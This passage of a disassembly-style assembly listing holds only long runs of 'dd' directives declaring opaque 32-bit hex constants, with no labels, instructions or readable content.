		dd 0C80EFCFFh, 0D3D2BDA3h, 0D9228240h, 842E1CCDh, 76AEBEB6h
		dd 83BEE50Eh, 5E50A917h, 0CD82E9DCh, 28841E0Bh,	0E3138A63h
		dd 49FB58D8h, 0B32C8ED5h, 95FEE2EDh, 61644F08h,	0AD444CE9h
		dd 0DCC938C0h, 4D1817F8h, 0F345D842h, 0EF5CD3F3h, 0F76CD5D7h
		dd 9D05019Ah, 52D89659h, 9B59DD1Ah, 0C161FA1Dh,	0D57138D2h
		dd 9C73AB87h, 8A692AE4h, 43413187h, 0D7BBF236h,	0B9C34D63h
		dd 0EF9EFCC7h, 0C9CA4A84h, 0F1CFBF1Bh, 0FCF47370h, 0A768778Eh
		dd 809E35CAh, 326D73Ah,	5D70F8h, 3D843AAh, 6FADCF49h, 2E41EDF1h
		dd 9A017F8Ah, 3E1E13D2h, 0B02AB6EEh, 6188E2EFh,	9294355Fh
		dd 0C711FB8Eh, 0D0BF8FDh, 0D8A6EBA2h, 65A917BBh, 0B62722EDh
		dd 76784E9Dh, 0AB7E8023h, 5A6A4879h, 31BD154Ah,	1D679202h
		dd 46A41ACBh, 0ED4A868h, 9239FF03h, 0AFC5AD2Eh,	0B1C14C2h
		dd 138E12AAh, 552C29DBh, 0DF3EE899h, 0AE6EA0F9h, 321A7DBAh
		dd 900AD275h, 485274B9h, 0FF50EC70h, 0F25BC656h, 293FC535h
		dd 0FD4BDCD1h, 2494F7DAh, 0FE301AF5h, 0F4F87206h, 9A7DA3FDh
		dd 0A76DDB27h, 8D0C5FDDh, 9148D622h, 0B04F4E2Ah, 0F64B0098h
		dd 0DA4CA5BAh, 0ECD79996h, 2C0EA667h, 0DD730ACAh, 0ACE93F8Bh
		dd 0D266B974h, 0EF28BD30h, 0B7BC6B55h, 2BEA6B21h, 7EFD913Dh
		dd 6D19CD7Dh, 19B29EFFh, 5AD358EAh, 0EEBD433Ch,	7165E0E8h
		dd 193C4BEFh, 1660CC6Eh, 9B48B6B0h, 0E30C4B59h,	32C6580Fh
		dd 0A95D235Fh, 0BC5B83F2h, 14B1F9BEh, 44147198h, 5551391Fh
		dd 8B2576Dh, 0F31905A6h, 0D01E84BCh, 14E92108h,	16D32B45h
		dd 2C0B0AB8h, 0C1776EB8h, 8B32D56Dh, 3976DB98h,	0BD031AFDh
		dd 0D6BB3D98h, 0A2504BE4h, 190E51A2h, 0DCF09799h, 8194E97Fh
		dd 1FD911h, 0FEE72B90h,	50FC6705h, 0EA9FEC82h, 986EF00Fh
		dd 19AF131Eh, 553DC117h, 0C2E22838h, 8A7B6FD4h,	8612E789h
		dd 74977F02h, 987C9360h, 16703800h, 406719E9h, 785AA4A9h
		dd 96259DA0h, 9E90181Dh, 2054281Dh, 885085BAh, 1D8930CEh
		dd 10E60299h, 9CF92030h, 7139965Dh, 0C599B4DAh,	4A2BDCD1h
		dd 50A70C5Bh, 1796F978h, 5BE61D6Bh, 0E00924DAh,	0A038B83Eh
		dd 911F0CF7h, 6EEC0262h, 326B8A4Dh, 0AA5E3166h,	5166EBA8h
		dd 0B18D939Eh, 7D414E26h, 0A429AD22h, 0DAA35F87h, 7AF611E6h
		dd 0CD20C104h, 982504B0h, 2C087A3Bh, 5F962BB6h,	6E3233C6h
		dd 0C7F774BEh, 58230ABh, 2C6EBD02h, 9195C44Bh, 17C64F4Fh
		dd 126AA505h, 49323E1Ch, 0D6065EC7h, 438089A8h,	45926646h
		dd 0B6B1BF10h, 73C95673h, 1C1F7A8h, 1A26F580h, 5DBB53E7h
		dd 0B03113D2h, 0C6D6A7CEh, 3D2ACF76h, 0E1D453E9h, 0D6A01FC1h
		dd 44534DB9h, 47780537h, 6A4B11C2h, 60F12259h, 89732A12h
		dd 4C79488Ah, 4E085582h, 19C13452h, 9E092AA8h, 0E2F6ACD9h
		dd 0D38310FBh, 0EF7003C7h, 2998B0DCh, 5E8B6712h, 0B48B4E08h
		dd 0D316BEB6h, 0EDDCD02Eh, 0A48EFB7Dh, 3DE66EF2h, 7F61D54Dh
		dd 67488A11h, 95914706h, 4A4EB220h, 0E38A1C01h,	9B564E27h
		dd 0BCFA9DA2h, 0E583F6E1h, 76FB9790h, 0F10C4C1h, 866FA18Fh
		dd 84D2313Dh, 0ACEA4ACh, 953EA335h, 0BFE3FB78h,	0FFC95154h
		dd 75B4A5ABh, 43016304h, 446918h, 940BF388h, 0EB3E01D1h
		dd 2A134579h, 317CF446h, 6CD2686Fh, 6DDF0C88h, 0EC112148h
		dd 0CBE61513h, 0C442F842h, 88E837AFh, 0DF376522h, 0ACA6771Bh
		dd 1B2142B7h, 2071693Fh, 0B819214Bh, 0C9CC9000h, 73492C8Bh
		dd 632E89F6h, 0B67C6C32h, 0DA96472Bh, 22EB4FB5h, 0E958DAB3h
		dd 0F050E6FFh, 23AB32A4h, 0D9B6469Dh, 0A798B70Bh, 2DA63A8Dh
		dd 78AFFD67h, 3AAD9256h, 0FC18D4DCh, 7C7DCC32h,	0D02E349Bh
		dd 9CB33388h, 0BC769C24h, 0A1E7BF6Bh, 45AA98B7h, 4A4F7AACh
		dd 0E0D9A68Ch, 4F16C84Ah, 25FA8059h, 65273810h,	47A4BC03h
		dd 5953283Ah, 14DA5326h, 7363B44Ah, 0BD7D81A9h,	9F46D900h
		dd 5978C4DFh, 5A9F6FD4h, 7381A7D5h, 1EDE6515h, 0BE509E43h
		dd 79EAAE30h, 0D21D1AF4h, 0A835A0C4h, 0A07B066h, 0D174BC85h
		dd 3DF57124h, 0BE8C0A02h, 25562911h, 8E450322h,	22E8048Ah
		dd 2B60BB3Ch, 0D52475FFh, 35D6B537h, 4137B25Ah,	496A188Ah
		dd 1E7E3206h, 0F0882954h, 0F3D016Ch, 6681F91h, 8C6C9643h
		dd 7296A61Ch, 0A798FE52h, 60BA0A38h, 444038E0h,	0DFBA95A1h
		dd 1B419AEFh, 5DFA6A4Ch, 9D5DF278h, 0EA0F949Ah,	0CB8020B5h
		dd 0DC57F29Fh, 6D232570h, 786D085Ch, 143C6647h,	0BF1BAAD3h
		dd 70CBA781h, 3B2E6151h, 859A2556h, 0FE03DE0Ch,	0B539C1FCh
		dd 81DCDDAEh, 60BEC181h, 256A1D28h, 6D6063A9h, 0FF676630h
		dd 0CF577831h, 0A23EDE50h, 18CBE1C3h, 8A808EEBh, 53529E5Bh
		dd 3254B611h, 0A7000EAh, 0BF48F318h, 12F3F6F4h,	1F941D2Dh
		dd 0E9B11288h, 2B37F84Ah, 0CE5CE957h, 841261C7h, 6B6EEA40h
		dd 0DB6E24E0h, 0E846BD5Dh, 0BB4368D0h, 7C9634B4h, 362C1945h
		dd 0D615C02Fh, 476FB960h, 0A7185DD5h, 6457924Dh, 0CD2F537Eh
		dd 0EBFD529h, 0D81ECD16h, 8451727Ch, 0E22D7BABh, 0C0DD3BF3h
		dd 0A13E6C6Fh, 0B5DB710Ah, 489DE02Bh, 274E8530h, 9B9D04C4h
		dd 5CE94DC5h, 47C398ADh, 9CA8EC3Ah, 0B18611CAh,	6132930Fh
		dd 0EF493E3Dh, 0A4E1B529h, 44F27597h, 0E26FBA20h, 3DCC8CD6h
		dd 0A0CB8EBBh, 453B6BEDh, 70DD0883h, 737BC8D6h,	149887F1h
		dd 1851ADFAh, 3885360h,	0F8480AB6h, 60644C7Ah, 48AB9AA7h
		dd 818C91ECh, 0CDB05B11h, 0FE4F2ACAh, 0E98A6671h, 0A7482FBFh
		dd 15D0F168h, 854BCA41h, 0C9F2643Dh, 0BBE98D34h, 42124BD8h
		dd 0BA0E07A7h, 6DC84291h, 0FB5EF144h, 8309EC6Bh, 0A3CDADh
		dd 369016Dh, 20131840h,	0D4D6A4C8h, 0C77A6A9Eh,	75F546Fh
		dd 4AF39AF7h, 0ECD2DDF7h, 70F5D096h, 0AB3D3FD0h, 51B5CD84h
		dd 8DEB0E22h, 1C4E9D1Dh, 0AA4B97D2h, 4533B22Ch,	765C3DD1h
		dd 3F4E741Bh, 74903BCh,	4B68A03Bh, 0B8F8C5D5h, 9E9BB765h
		dd 2C008F1Eh, 0CD3C1C97h, 4F6BAAB7h, 9DA02F2Ch,	0B702E218h
		dd 2433106Ch, 2B413C39h, 7A53229h, 705FC238h, 0A8753E90h
		dd 1E18052Ah, 0F8AB1B68h, 189294E7h, 2C1B9FF4h,	65ADC43Fh
		dd 3725DB28h, 0C11BB22h, 602C6F80h, 0E4BD52EFh,	34C2F5E9h
		dd 10F840Ch
		dd 5DC2C758h, 8BCEA718h, 8B6DE69h, 25F98BCh, 0F78C0765h
		dd 676056C8h, 2435AF23h, 951A6A52h, 27D046D7h, 103C3F96h
		dd 2E51FE01h, 0D1E8FE20h, 0B7A9A7BAh, 0C03A2B2Ch, 36E0F124h
		dd 77B9AA23h, 5D5EB1h, 0BDF65326h, 0CD49DBE3h, 54999B2Dh
		dd 81233BF4h, 45144205h, 48342EE8h, 220EC505h, 0E2E02CECh
		dd 0CB342012h, 369E34Eh, 95DA1834h, 0D890DFF3h,	0A2451D29h
		dd 3E56545Ah, 5C3FF7ABh, 0A49D4985h, 23DCA9CFh,	0CDF34194h
		dd 8FDF62B1h, 908E8418h, 2AFC8F1Dh, 41E9F819h, 951EEFF1h
		dd 0D99216F4h, 97E7F6Bh, 2427159h, 6A09F746h, 4868BF26h
		dd 2AE0BBDh, 0F81706EDh, 1CEAEF8Fh, 9FA1FEEh, 9F0CC905h
		dd 0B8267F70h, 4FB9CE85h, 0C7760922h, 0E34F8B47h, 2D11967h
		dd 38766E54h, 5D1B1164h, 0FAB7DA82h, 5BBDE8ADh,	25C171B7h
		dd 29AD7CA3h, 0B5A702BDh, 13797C4Dh, 0A2FFA618h, 0B81D0Fh
		dd 6CFF6BBEh, 0C7174BFEh, 992279BCh, 0E64AE369h, 75AB0874h
		dd 0C795F05Dh, 530361C6h, 7EAAE666h, 568519A1h,	0C8D71C98h
		dd 10406954h, 0C146C0DAh, 5F16DB1Ch, 69CDFDh, 0D68C387Ch
		dd 9354D3E3h, 0D2185A92h, 0D8E8A6ADh, 49E8BB5h,	0CE7A2910h
		dd 2BBA385Ch, 6B26119Dh, 0AEA0B708h, 79E049DEh,	68600B44h
		dd 9FBDD4B6h, 0D2DC7C13h, 73B7F723h, 20CA7B7h, 0ADD85B7Eh
		dd 241F3B16h, 0E3B11BAAh, 462B375Dh, 6318D3DCh,	9FEC3D59h
		dd 19DADC20h, 5C9C89DBh, 2874A06Ch, 0AB3BD6B3h,	498BEFE4h
		dd 262925E2h, 9C64103h,	0A135B993h, 45CA4E4Ah, 939FB623h
		dd 126A7DAh, 8A142B02h,	0F2D04D18h, 0A8FE7CDEh,	92CD4F3Fh
		dd 0F3171C5Ch, 6C5E77AFh, 0DB9C4D2Ch, 32AD30BDh, 119CEC4Bh
		dd 3F1D45ACh, 22B2B8FDh, 2913B7AAh, 46349C7Ah, 3E2C0A15h
		dd 0BA8E25FDh, 0F34696CBh, 0CC61E074h, 82022828h, 5F0E03DFh
		dd 8344DCDh, 3BED7467h,	0ADEBF0A6h, 0B393AC80h,	0B9632E42h
		dd 0BDACE4D2h, 0B77139Dh, 47CC78FCh, 0B77D1BBBh, 6D95BE67h
		dd 0CEEC70C3h, 6098AFB5h, 0DB87F9A3h, 6DBD7AF4h, 1E52A4AFh
		dd 0C4395330h, 7DB64357h, 0CFB3CF03h, 5279E4A7h, 7014999Fh
		dd 0BBD01D30h, 77D22741h, 927A56D5h, 5C75FC8Ah,	0F24C7EE8h
		dd 2D8A80ECh, 0E35430B9h, 0A7B5ACC1h, 3A452484h, 925ED9C3h
		dd 0DC5F42B3h, 0AA58A999h, 0BF750D91h, 9BAFF681h, 2FB2DBA1h
		dd 75F903E8h, 7DF59154h, 7D8213C0h, 0C5E1A56Ah,	50BC865Ah
		dd 148794FFh, 765CE875h, 0D48F875Bh, 0F7DB7885h, 2865DB54h
		dd 95A4A291h, 63BEBB21h, 863C3D0Ch, 99E2E273h, 66CDAD66h
		dd 3CF7E738h, 342C98F8h, 0A91D8F34h, 2677A733h,	0B5AFE44Ah
		dd 925EE566h, 536D3874h, 9CEDA4B3h, 0A3683F88h,	7C333C9Ah
		dd 56562403h, 0B6784E9h, 5F226BA9h, 436B17F0h, 0EA594288h
		dd 6EAB995Ch, 0D0A5AAA0h, 99288476h, 0F8343CCh,	0B7D9CF9Fh
		dd 0D8C8EA4h, 47628925h, 0E307EE38h, 84EE0CA9h,	9627F3DFh
		dd 0AA8EF55Bh, 260C2CE4h, 0D37E3BA6h, 0A9177D77h, 9DE55DA7h
		dd 9C72B005h, 0B893FE18h, 0F1D03628h, 0BB64AF9h, 79A25371h
		dd 5FE63C50h, 73F887E4h, 12E04EFEh, 907DE718h, 0B7813439h
		dd 0D7793CF0h, 0A3688D4Fh, 0B09C9B67h, 0EB113E64h, 3889CCD9h
		dd 41740D2Eh, 3D35BE0Eh, 993EB6DCh, 77DE73AAh, 31BB7378h
		dd 9787EEC4h, 7D50DDDEh, 64B4507Fh, 0A38F99ADh,	7063AAF1h
		dd 920B58E5h, 10B3CEEEh, 9AF12C98h, 0ACC33B3h, 0CC9B852Eh
		dd 5E181CBEh, 0F457AC9Ch, 469A9401h, 0C71E543Eh, 0AEFE7D92h
		dd 0A92BA951h, 5F2F6FB3h, 0E370E93Dh, 0B0F7A36Bh, 96846DC6h
		dd 69B3E7E8h, 0DB290085h, 9AA283AAh, 0D7372FA4h, 6458F681h
		dd 0DC8E678Dh, 7A1E6BE8h, 77E9E32Ah, 6CD49E0Dh,	6A67EA35h
		dd 0D8399735h, 4A24CB5Fh, 142EF0Eh, 54C1B0EAh, 2A8C840Ch
		dd 893F9B9Dh, 10FD30B2h, 343AC9D1h, 261872A6h, 6677898h
		dd 0EA552D35h, 9FA722B8h, 5A4A57Eh, 0FD023135h,	0A203EAF5h
		dd 0DBB3C934h, 5E09C9B5h, 0DEC9931Ch, 3F16D0D7h, 0FD483736h
		dd 0D1EA66EBh, 938A62EAh, 5E91E058h, 0CF87CE8h,	446714EFh
		dd 22EA10D3h, 83718424h, 724FEEE6h, 0EA338144h,	44130776h
		dd 6D4505EFh, 0D1724A56h, 6502B023h, 66B9747Fh,	5C7187AEh
		dd 2F7AF734h, 62D4BE42h, 0E0958366h, 0ACE6973Fh, 0C0415A99h
		dd 88EFF940h, 1FF3D6E1h, 8A3C7036h, 86EB4BEFh, 0F8F59537h
		dd 73410903h, 0D6010909h, 0C6D14F37h, 0A20ABFECh, 5945B7A9h
		dd 7D0A1C7Bh, 272ECD07h, 913852Ch, 6138FC17h, 508EC2A5h
		dd 6C6C1780h, 0E3B01B7Bh, 0EE6FFCAAh, 602B0D19h, 34E256DFh
		dd 347E1AC8h, 0B10C2DAFh, 0FE9DE461h, 0E0B6046Bh, 88EF3728h
		dd 565BDD85h, 0BDDACF38h, 321AEDBDh, 1FCBF273h,	0FF18A989h
		dd 41CD3A73h, 23CD9F66h, 0FF54D83Bh, 0BA5C6EE3h, 84A920F6h
		dd 0F28266A1h, 31B592B9h, 3B98D28Ch, 11714FB7h,	0E61BAE63h
		dd 65505B20h, 6393E743h, 253C18B0h, 0A0847BBEh,	0A7CE5C83h
		dd 1E09F58Eh, 24E8AA7Bh, 0A9527A41h, 59C188FDh,	20B062BDh
		dd 0DEF28F11h, 5C69F765h, 9ABD0EE2h, 0B3617D04h, 0B571A86Ch
		dd 3AEC5F5h, 436EAA40h,	37DC44D9h, 42D5E115h, 227D6BC8h
		dd 19A73B5Dh, 0A056C04Eh, 0E6325979h, 0E777873Fh, 884F748Bh
		dd 1FB1923Bh, 81290415h, 83CEE579h, 310832AFh, 0B679BBC3h
		dd 7328BF4Eh, 0A8C44113h, 0AB37D304h, 195A880Bh, 0B6CD269Dh
		dd 63F7BB8Ch, 2562DE68h, 9D6D39D3h, 34942060h, 73689388h
		dd 75C270C9h, 1DF8248Ah, 521E032Ch, 340578A9h, 0E1B0750Dh
		dd 0C6D4307Ch, 583E49E4h, 0B8F2572Ch, 1C620C39h, 6213D05Ch
		dd 0E8476774h, 0D0CAC808h, 8AA54659h, 62B21448h, 50402E51h
		dd 45AF038h, 0C030F743h, 98FB4A76h, 0E4480CCh, 1ABA8776h
		dd 0A47E969Ah, 0D196C30Bh, 0FC906C32h, 8993DF8Ah, 78F604C5h
		dd 62D13441h, 0DAA7F4E2h, 4C64E5AFh, 4269A315h,	0DBE91F27h
		dd 5A7FCC56h, 916A5B75h, 46DC5EDFh, 0E3A7C6Ch, 46F2530h
		dd 0AC8948D6h, 0B71C42FCh, 79AB95BAh, 686B387Ch, 47605772h
		dd 18DBDA53h, 383E1120h, 2B10837h, 8C021E1Ah, 58CF53C8h
		dd 0B5AAFB42h, 0FFD20722h, 2B05AA0Fh, 0B844F07Dh, 2F0E4411h
		dd 3CC9F2Ch, 0D9BED351h, 561AA653h, 555C5325h, 0E5EE665Bh
		dd 961702A4h, 0BBC2E8CEh, 0C7574482h, 0BC758964h, 6BEB3A2h
		dd 1777C4D1h, 8661A321h, 18D95EF2h, 0A5860A48h,	6EE36FBCh
		dd 4830B61Dh, 0E78F31C6h, 2DE1B80h, 9890E9B0h, 5E02C3DBh
		dd 8E136101h, 0ED999F00h, 92A815DBh, 0AC0AAF3Bh, 0F3FB323h
		dd 0B32A745Bh, 1292016Ch, 0AD4881ACh, 1826E349h, 0C904148h
		dd 0A5ABD5D5h, 9850043Ch, 1413EEB0h, 117DBE24h,	0B75D5C7Fh
		dd 0BB9804CFh, 0F60F1BBBh, 7CA2BA33h, 3270F808h, 44C399E3h
		dd 809B3CB9h, 0A60879B9h, 0CD2AF121h, 0CBF0B151h, 16395BE2h
		dd 5EB7FB11h, 84F2ABACh, 1FF2A79Fh, 10249779h, 4FEA5D69h
		dd 0A502941Bh, 7CCAC518h, 2A1BF276h, 0CD80953Fh, 847BB4C9h
		dd 2004B3C4h, 503D5D3Ah, 5EB567A3h, 0FB60EF6Bh,	15DC36F0h
		dd 0EC397EF3h, 442C12FBh, 0EF7F68F7h, 0CBBF974Eh, 297B479h
		dd 45E21203h, 0B53E9B03h, 2DD4D8F2h, 362EC256h,	55B78351h
		dd 7DF9ADFEh, 569CF9B2h, 44956CD7h, 71032E7Ch, 9CD5DCC0h
		dd 258AE693h, 7BD60245h, 0D9513E24h, 99214258h,	0A8305D8Fh
		dd 0D97D6C6Eh, 0D8BDF02Ch
		dd 75DE0FE3h, 11B05BDCh, 0EA6A88A7h, 0D3AB31D3h, 84559EAEh
		dd 0C54EE24Fh, 0A289A1C4h, 6D73D17Dh, 0B5299C66h, 0D05B4BE1h
		dd 4191E9E0h, 93900DE1h, 7C6204D8h, 16BD9AD6h, 0C074BE95h
		dd 57D54D5Bh, 0BD3BC978h, 0FB63553h, 2BD451A4h,	0CC230023h
		dd 0A87FD406h, 97D19979h, 52159DEDh, 0B7922440h, 0CDB03580h
		dd 53998BA2h, 0CAA00FB1h, 0F22EF8E0h, 0D95069FCh, 31F08B05h
		dd 460385F9h, 0DC15BA65h, 5FF53D67h, 1F9F1437h,	0ABB28B06h
		dd 0CC75A0D5h, 0D8918D71h, 0A5F43F2Bh, 3DEA60B1h, 8C00C3DEh
		dd 0C759B137h, 58657922h, 7A464310h, 0A4469477h, 252C0F9h
		dd 403CD61Dh, 0F1BDCBFDh, 32911B51h, 2F20F966h,	4835BED4h
		dd 0CDE490C5h, 18C5465Eh, 0A21F635Dh, 94C5A9BAh, 94178877h
		dd 9DDD2291h, 0AC582D7Ch, 0EACE9CD9h, 382BD4EAh, 5B085D1Ah
		dd 379D756Fh, 90500705h, 0BD3F15Eh, 71F62AA8h, 7C6BE9E8h
		dd 97137BDCh, 3928670Fh, 511F09BAh, 0ACEFBE7Bh,	9B4EA108h
		dd 2D927861h, 1A6F0F5h,	0F17604CBh, 6D06AE1h, 5A289589h
		dd 42FDAF1Eh, 7CDFD977h, 6F5244A9h, 70BE6A2h, 3C5F2CEFh
		dd 0F1A6A62Eh, 2CE10A92h, 29A11880h, 0C553F0CFh, 83D22DD4h
		dd 761F96ECh, 0D917B05Dh, 0A0108E47h, 1CCB4AE7h, 0CA9DD332h
		dd 0C0D8BA84h, 0BFB9D598h, 371D349Bh, 0EAD407EFh, 1E29A66h
		dd 0F7B5912Eh, 860CA4B3h, 0E8DE5AAEh, 8CC9F210h, 14E7DFD5h
		dd 0FBFBFF56h, 16E2E837h, 3A6A8FB8h, 83E5B270h,	38B7657Fh
		dd 7F2FE0CFh, 0B9F45C63h, 2E6D34F1h, 0FD137E3Ch, 9C42D7DAh
		dd 0E49925CFh, 61939F99h, 63B0518Dh, 3D0B272h, 3E95586Fh
		dd 0D8B1EBA9h, 0EF92D8EDh, 8560CB7h, 76898465h,	29CECFADh
		dd 0C3DA0D7Bh, 4E28057Fh, 0F473F2CEh, 0BB776228h, 0A619AFh
		dd 0C0DE123Eh, 16BA24A2h, 7AFDAAB9h, 0E6C7C2FEh, 0D21B2716h
		dd 0FAF9BF0Bh, 0CB3E2824h, 52D65254h, 2C51F7D8h, 0C3ED40D5h
		dd 9B07E8BDh, 6518C1A4h, 0B79582B4h, 3708E7A2h,	0B91BA187h
		dd 3223C7Ah, 8E95CD4h, 0EC044B84h, 81030406h, 0B68EED5Eh
		dd 8CD3856Ah, 0F8D36BF3h, 0A13C1717h, 2A6E7A52h, 625C197Eh
		dd 87ECD16Dh, 0F6D764Ah, 9E7FF9C6h, 12FAF2EAh, 0E0AF3F2Fh
		dd 2EE405F0h, 8D1D2DACh, 0CA311D97h, 515924Ch, 0B175B74Bh
		dd 9F7FB6ADh, 818326h, 6FB83818h, 92E8081Dh, 5B664DEFh
		dd 0ED08151Dh, 0FF7BE935h, 0CCF6001Bh, 73B50DE2h, 0E242104Ah
		dd 78A79223h, 434F2490h, 2F3F2404h, 7A8F5B5Ah, 6F3595B2h
		dd 0F91D3558h, 5A74EC10h, 0E9F9D15Ah, 5B6F8B49h, 0B705E74Ah
		dd 1884F093h, 0C89829BCh, 2D5D7A45h, 0BEF3190Dh, 5FCEF57Ch
		dd 4F641A4Fh, 7AE46BCBh, 3A8D4A34h, 42E15285h, 4F53103Ah
		dd 90827AD8h, 0BE128CC7h, 0DB63A0B5h, 7FBDBFFCh, 69575F75h
		dd 36A34318h, 231C480Fh, 541EDCE5h, 1BDD850Fh, 2045AE28h
		dd 0EAF885CBh, 43C29330h, 8D619410h, 0B41C11FDh, 8B2BD784h
		dd 0C0ABF963h, 0EC589F30h, 0E6B5216Eh, 9E701431h, 0FB7B8433h
		dd 0BA8BD1DEh, 2D7EB201h, 0E904BFBEh, 65ABC727h, 75D44F1h
		dd 6C55214h, 0FDCF349Bh, 773E4356h, 360DBCB8h, 8EA82CFBh
		dd 0B7EF0049h, 0AEDE9946h, 0D53190F6h, 95854FC0h, 84D9A561h
		dd 0EC025B85h, 3D573F17h, 6E00617Dh, 0F26DFBFAh, 3203B52Bh
		dd 38B33674h, 0F35DAA35h, 5BBA03A6h, 48A4C0A4h,	0F1968D2Ah
		dd 0FD078867h, 96AF9A28h, 9BF57DDAh, 3A25B53Bh,	9DE5A663h
		dd 3980F5C9h, 0F34F0817h, 834A0AC4h, 5F3550C0h,	6D0908E6h
		dd 3C24797Fh, 7F6C099Bh, 0C2882D8Eh, 76F240F3h,	85AB877h
		dd 0B5192956h, 487F6929h, 13B0AF3Ah, 0A5E80705h, 5944999h
		dd 778EFCA6h, 647DE2AAh, 0E46D24C7h, 6DE65EEFh,	197D3DB4h
		dd 0C2B6B8C5h, 0C862CDC2h, 6F75438Dh, 7DC5B30Dh, 6E267583h
		dd 637E5A2Eh, 0C53BEC71h, 0FE3129F8h, 2E247D78h, 24901C8Ch
		dd 6920461h, 0A4514CC6h, 43990D6Fh, 83F2E751h, 198C46BDh
		dd 69A7D66Eh, 48051463h, 85413586h, 72D9440Ah, 0BB868611h
		dd 16E52272h, 0B476EAE9h, 37E495E3h, 0EA555E72h, 64E2ED8Ah
		dd 19FC7A08h, 1CF1214Ah, 6F9CB5B9h, 2855E94Eh, 0FBAFA6D1h
		dd 2FD332DBh, 0C1315F92h, 0F69719FEh, 19B7DFECh, 0D88945E1h
		dd 5F845428h, 0E66C00D4h, 2E01706Ah, 76D74CAh, 0BA5D308Fh
		dd 6614BEEDh, 36A24B1Ch, 0EA6315B2h, 0C4B20A22h, 0F58A76B0h
		dd 0F32D41EEh, 0C9EF38F5h, 0B1321F6Bh, 83E54676h, 84DB868Fh
		dd 0FAB24F64h, 2984D2Ch, 8EDE9C2Bh, 7064749Ah, 4254C855h
		dd 73490DB1h, 37D70709h, 92AD7F25h, 23D789C1h, 487AF2DCh
		dd 0BD2CB9DEh, 0AE1FB3C3h, 43F152A1h, 0CE50E899h, 0FD2B51E5h
		dd 1B700639h, 5C7A990Bh, 0E71DC156h, 0DC0FCD70h, 0E63685E3h
		dd 7A8AA6FEh, 9DCA32F2h, 2062AFADh, 0D6ADC3C6h,	77014214h
		dd 0F9E4CFC4h, 285A99CFh, 0B352B072h, 0DFC46A46h, 0FC4E23F1h
		dd 0A90C1442h, 0C4933103h, 0AB7C083Dh, 7CDE95E9h, 0E57E1E52h
		dd 2090869h, 0FCA9BA3h,	2793EB0h, 7DEFD07Ah, 0FE398684h
		dd 97DAB04Bh, 0B8BFE60h, 6D610297h, 1DD53D4Fh, 0B93B4BB6h
		dd 5E238CD6h, 592B3363h, 52FB0706h, 8CE952ABh, 2C74ABFBh
		dd 3E62E237h, 84BEBFACh, 0F0FBCB42h, 0B1CE1F05h, 6CCB6CB5h
		dd 474D95CAh, 1335372h,	53579158h, 0F164D7F8h, 0BF2ADB5Dh
		dd 0B3FFE4B4h, 0BC5326Dh, 0E5075C31h, 7946B8D5h, 46850C45h
		dd 0ED92AE26h, 2D49F0D2h, 9C477711h, 4168B674h,	0A9506DB5h
		dd 4A989746h, 0DCA4925Fh, 0B58DAA5Ch, 9DDED1F6h, 0AD4DCCAAh
		dd 21C1F061h, 431A5576h, 0EF91D8BCh, 0F9216892h, 7B6B6812h
		dd 0A9CF29BFh, 9B520B6Fh, 0B542CAFFh, 0CDD833BFh, 3A383F6Fh
		dd 3DF60362h, 0DCA2EAEBh, 4381D2A2h, 0DAD40903h, 96222429h
		dd 0BEA78DA6h, 839C3060h, 52D15B41h, 0AD97599Eh, 271D40D3h
		dd 663BD151h, 6BCE3BBCh, 4629E70Fh, 507BB42Bh, 0B264B4FEh
		dd 0AD614D73h, 110DC202h, 7783ACB0h, 2160DB06h,	0CD5D9D85h
		dd 14E1B77h, 0EA41D847h, 642486FCh, 0CB4EAA97h,	0B2889232h
		dd 19858284h, 8B9470Dh,	5CA1EFB6h, 0D5A88499h, 22543AAAh
		dd 95B309DDh, 27685FCFh, 5CADBFE7h, 0F3C31FF8h,	5BE40267h
		dd 5DCCF28Fh, 1FBA26F3h, 0B9B31423h, 1579C6A4h,	0A2F61BB4h
		dd 177A2407h, 48654B79h, 5EBF7ADBh, 0EA1183BDh,	0D119445Eh
		dd 503F2061h, 491E13Ah,	0CCCE41FBh, 0D2C5D98Ch,	343BCFABh
		dd 3785405Dh, 6D804E3Ch, 0B1338A53h, 94A729FEh,	0A0A9F89Fh
		dd 4839B2F2h, 0CD64B4A1h, 10646D32h, 0F197F269h, 0BA81DDE3h
		dd 0C5D04FE4h, 78AA395h, 2CDDA50Eh, 0CA63D27Eh,	67231BC5h
		dd 52FCAA57h, 6C111D98h, 6D058589h, 8FD595BAh, 0D7656311h
		dd 63C85F1Eh, 0DA57498Eh, 94968DBCh, 7FD440F3h,	871753Bh
		dd 2B1A9EEBh, 0F5CB8483h, 5CE87898h, 0A28A70h, 5919A289h
		dd 62914979h, 0CDC2033Ch, 0C6F99F1Dh, 0FAA60764h, 0A3E0AE2Ah
		dd 0DCA23887h, 7EA463BFh, 66376E63h, 4E42F62Eh,	8D94B944h
		dd 3131468Fh, 47AFF20Dh, 0E3301EF4h, 0E49BD42h,	6FC5E1D3h
		dd 0AEDC3803h, 0DDCD8518h, 78758204h, 0ADB8A329h, 5AAD1803h
		dd 9572C8C1h, 7E8A847Bh, 81FF9322h, 9A282826h, 0DFE4F578h
		dd 45971454h, 0BBD86205h, 18FF127Dh, 0C207FCC1h, 0F9797651h
		dd 8060E80Ah, 754CCB22h, 526528FCh, 0BF711E2Fh,	63314181h
		dd 0AA2F623Bh, 15850412h
		dd 5BB26632h, 3C737D2Ch, 0D38D4E26h, 1D5D00BDh,	84834934h
		dd 58549C8Fh, 0D88533F6h, 5FC2334Eh, 1E7FEA29h,	3F70FCBAh
		dd 0FC276F7Eh, 0ED32AB63h, 6962473Bh, 5E29EF5Ah, 77C47090h
		dd 79CB8F6Bh, 3C256532h, 70D0D1ACh, 905CA472h, 7C43C599h
		dd 750A066Ah, 4C5DBD14h, 0C6B0C635h, 991D1EEh, 8F78F6B1h
		dd 0BACDDE20h, 0BCBBA315h, 0AFFCD7D4h, 694A9034h, 0E2ECA50Ah
		dd 662FDA07h, 2ECB564Eh, 630CED2Eh, 5760E8Eh, 8910C061h
		dd 0D42FD4F5h, 4B0D1604h, 37D0438h, 60280BC7h, 58E91D9Dh
		dd 0DEE4F51h, 155066B6h, 537408CCh, 0B8BCC367h,	4E13058Bh
		dd 0B7744F71h, 6F26D85Ch, 0DB40C1E9h, 0AF755AC4h, 0C4DC3BC2h
		dd 0A688C6EBh, 0BD8A54D8h, 8120F925h, 59571BFBh, 0EF661C40h
		dd 0EE4E074Ch, 0CCC3B819h, 3B000638h, 0BC69A1FBh, 5F95AAB8h
		dd 0DFB1F46Dh, 0DEE68569h, 0E68EB4E8h, 4610F7DBh, 0FE29F22h
		dd 0F5CD8282h, 0AFE42E15h, 0AF2A0B1Fh, 3D655ED5h, 0E3AFFCEDh
